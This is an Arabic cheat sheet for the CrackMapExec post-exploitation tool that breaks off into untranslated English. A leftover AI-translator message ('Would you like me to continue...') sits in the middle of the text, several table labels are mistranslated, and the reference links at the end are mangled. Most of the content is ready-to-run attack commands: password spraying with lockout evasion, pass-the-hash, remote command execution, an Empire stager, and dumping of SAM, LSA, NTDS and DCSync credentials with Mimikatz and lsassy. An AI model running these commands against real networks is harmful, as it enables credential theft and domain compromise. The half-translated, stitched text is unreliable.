دليل CrackMapExec المختصر
نظرة عامة
CrackMapExec (CME) هو أداة ما بعد الاختراق مصممة لاختبار الاختراق وعمليات الفريق الأحمر في بيئات Windows/Active Directory. غالبًا ما يتم وصفها بأنها “سكين الجيش السويسري” لاختبار الشبكات، مما يسمح بالحصر وفحص بيانات الاعتماد وتنفيذ الأوامر عبر بروتوكولات متعددة.
⚠️ تحذير: CrackMapExec هي أداة اختبار أمني يجب استخدامها فقط في البيئات التي لديك إذن صريح للقيام بذلك.
التثبيت
باستخدام pipx (موصى به)
# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# Install CrackMapExec
pipx install crackmapexec
على Kali Linux
sudo apt update
sudo apt install -y crackmapexec
من GitHub
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install
باستخدام Docker
docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec
الاستخدام الأساسي
بناء الجملة العام
crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]
البروتوكولات المدعومة
smb: Server Message Blockwinrm: Windows Remote Managementldap: Lightweight Directory Access Protocolmssql: Microsoft SQL Serverssh: Secure Shellrdp: Remote Desktop Protocolftp: File Transfer Protocol
تحديد الهدف
# Single target
crackmapexec smb 192.168.1.100
# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101
# IP range
crackmapexec smb 192.168.1.1-255
# CIDR notation
crackmapexec smb 192.168.1.0/24
# From file
crackmapexec smb targets.txt
طرق المصادقة
اسم المستخدم وكلمة المرور
# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'
# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'
# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'
# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt
Pass-the-Hash
# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'
# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt
المصادقة المحلية
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth
مصادقة النطاق
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN
أوامر بروتوكول SMB
الحصر الأساسي
# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares
# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users
# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups
# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
تنفيذ الأوامر
I’ve translated the text while preserving the markdown formatting, keeping technical terms in English, and maintaining the structure. Would you like me to continue with the remaining sections?```bash
Execute command
crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -x ‘whoami’
Execute PowerShell command
crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -X ‘$PSVersionTable’
### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'
# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt
# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'
WinRM Protocol Commands
Basic Enumeration
# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'
Command Execution
# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'
# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'
LDAP Protocol Commands
Basic Enumeration
# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain
# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers
# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts
Advanced Enumeration
# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description
# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation
# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate
# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt
# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt
MSSQL Protocol Commands
Basic Enumeration
# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'
# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'
Command Execution
# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'
# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'
Module Usage
Module Management
# List available modules
crackmapexec <protocol> --list-modules
# Get module options
crackmapexec <protocol> -M <module> --options
# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2
Common Modules
Mimikatz
# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'
# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'
# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'
# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'
Empire
# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http
PowerView
# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'
BloodHound
# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All
Lsassy
# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy
Enum_DNS
# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns
GOAD
# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad
Advanced Techniques
Password Spraying
# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'
# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt
# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10
Credential Harvesting
# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam
# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa
# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds
Database Operations
Initialize Database
crackmapexec smb 192.168.1.0/24 --database
View Database
# List hosts
crackmapexec smb --database -L
# List credentials
crackmapexec smb --database -C
# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1
Common Options
| خيار | وصف |
|---|---|
-h, --help | عرض رسالة المساعدة والخروج |
-t THREADS | حدد عدد الخيوط المتزامنة (الافتراضي: 100) |
--timeout TIMEOUT | ضبط المهلة الزمنية للاتصالات (الافتراضي: 5 ثوانٍ) |
--verbose | تمكين المخرجات التفصيلية |
--debug | تمكين المخرجات التصحيحية |
--continue-on-success | استمر في محاولات المصادقة حتى بعد النجاح |
--no-bruteforce | لا تستخدم الهجمات القسرية، استخدم فقط بيانات الاعتماد المقدمة |
--fail-limit LIMIT | عدد محاولات تسجيل الدخول الفاشلة قبل التوقف عن محاولة الاتصال بالمضيف |
--jitter JITTER | أضف تأخير عشوائي بين محاولات المصادقة (بالثواني) |
--local-auth | المصادقة باستخدام الحسابات المحلية بدلاً من النطاق |
-d, --domain DOMAIN | المجال للمصادقة عليه |
--no-output | لا تعرض المخرجات |
--output-file FILE | اكتب المخرجات إلى ملف |
--log | قم بتمكين التسجيل في الملف (الإعداد الافتراضي: ~/.cme/logs/) |
| خيار | وصف |
|---|---|
--shares | قائمة الأسهم المتاحة |
--sessions | قائمة الجلسات النشطة |
--disks | قائمة الأقراص |
--loggedon-users | قائمة المستخدمين المسجلين الدخول |
--users | قائمة مستخدمي النطاق |
--groups | قائمة مجموعات النطاق |
--local-groups | قائمة المجموعات المحلية |
--pass-pol | احصل على سياسة كلمة المرور |
--rid-brute [MAX_RID] | قم بتعداد المستخدمين عن طريق اختبار RID بالقوة |
--sam | قم بإفراغ تجزئة SAM |
--lsa | قم بإفراغ أسرار LSA |
--ntds | قم بإلقاء NTDS.dit |
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\} | طريقة لتنفيذ الأوامر |
| خيار | وصف |
|---|---|
--users | قائمة مستخدمي النطاق |
--groups | قائمة مجموعات النطاق |
--computers | قائمة أجهزة الحاسوب في النطاق |
--domain | احصل على معلومات النطاق |
--pass-pol | احصل على سياسة كلمة المرور |
--trusts | احصل على ثقة النطاق |
--asreproast [OUTFILE] | احصل على المستخدمين القابلين للـ AS-REP roast |
--kerberoasting [OUTFILE] | احصل على المستخدمين القابلين للـ Kerberoast |
--trusted-for-delegation | احصل على المستخدمين/الأجهزة مع التفويض غير المقيد |
--allowed-to-delegate | احصل على المستخدمين/الأجهزة مع التفويض المقيد |
| خيار | وصف |
|---|---|
--port [PORT] | منفذ WinRM (الافتراضي: 5985) |
--ssl | استخدم SSL لـ WinRM |
| خيار | وصف |
|---|---|
--port [PORT] | منفذ MSSQL (الافتراضي: 1433) |
-q QUERY | نفذ استعلام SQL |
| https://github.com/byt3bl33d3r/CrackMapExec- [المستودع الرسمي على GitHub]( | |
| https://github.com/byt3bl33d3r/CrackMapExec/wiki- [ويكي CrackMapExec]( | |
| https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation- [دليل تثبيت CrackMapExec]( | |
| https://github.com/byt3bl33d3r/CrackMapExec/wiki/Module-Documentation- [توثيق وحدات CrackMapExec]( |